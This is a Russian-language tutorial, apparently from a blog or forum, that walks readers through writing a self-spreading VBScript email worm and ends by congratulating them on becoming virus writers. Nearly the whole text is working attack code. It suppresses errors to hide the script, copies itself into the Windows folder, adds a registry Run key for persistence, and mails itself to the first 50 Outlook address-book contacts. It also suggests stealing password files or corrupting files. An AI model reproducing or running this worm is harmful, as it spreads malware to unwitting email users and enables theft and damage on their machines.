| Для написания примеров будем использовать БЛОКНОТ. Начнем с инструкций Option Explicit и On Error Resume Next, первая необходима при отладке кода, она запрещает использование не объявленной ранее переменной, а вторая подавляет обработчик ошибок. Option Explicit Dim FileSysObject, File Set FileSysObject = CreateObject ("Scripting.FileSystemObject") Set File = FileSysObject.GetFile(WScript.ScriptFullName) В данном примере используются переменные FileSysObject и File, и если при создании скрипта вы допустите ошибку, написав FileSysObiect, интерпретатор сообщит вам, что используется необъявленная, в операторе Dim, переменная. Такие ошибки находить очень трудно, так как они зачастую меняют всю логику работы программы. Перейдем к инструкции On Error Resume Next, эта инструкция означает, что любая возникшая ошибка будет обработана программным кодом позднее, а в нашем случае никогда. Это позволяет запретить выдачу системных сообщений об ошибках и замаскировать работу скрипта. Теперь опишем третью и четвертую строки примера: Set FileSysObject = CreateObject ("Scripting.FileSystemObject") Присваиваем переменной FileSysObject ссылку на объект COM-компоненты WSH File System Object. С помощью метода GetFile присвоим переменной File ссылку на командную строку местоположения исполняемого файла. Скопируем скрипт в c:windows, для дальнейшего использования. File.Copy ("c:windowsI_am_virus.vbs") Присвоим переменной WshShell ссылку на объект COM-компоненты WSH позволяющую менять настройки системы и запускать приложения. Dim WshShell Set WshShell = WScript.CreateObject("WScript.Shell") Теперь мы смело можем управлять захваченным компьютером. Сначала пропишем свой "страшный вирус" в реестр, для повторного запуска после перезагрузки, хотя для E-mail worm это и необязательно, как в прочем и процедура копирования. WshShell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows _ CurrentVersionRunServicesvirus", "c:windowsI_am_virus.vbs" Следующий шаг за вашей фантазией, можно скопировать из Internet более сложный вирус, как делал I-Worm.LoveLetter, и запустить его, отослать вам файл с паролями, или просто и скучно перепортить кучу файлов. И, наконец, мы переходим к "сердцу" каждого Internet – червя, процедуре рассылки. Создаем ссылку на объект самого распространенного почтового клиента Outlook. Dim OutlookObject, OutMail, Index Set OutlookObject = CreateObject("Outlook.Application") Зададим цикл, в ходе которого разошлем зараженные письма по первым 50 адресам, занесенным в адресную книгу. For Index = 1 To 50 Создадим новое почтовое сообщение Set OutMail = OutlookObject.CreateItem(0) В поле "Кому" занесем адрес из адресной книги OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index) В поле "Тема" вставим тему сообщения OutMail.Subject = "Тема сообщения" Добавим текст сообщения OutMail.Body = "Тело сообщения" Прикрепим скрипт OutMail.Attachments.Add(WScript.ScriptFullName) И отправим его OutMail.Send Next Вот вы и стали писателями вирусов. Чувствуете подъем? Опуститесь на землю, это только каркас, заполнить его, ваша задача. Удачи!
|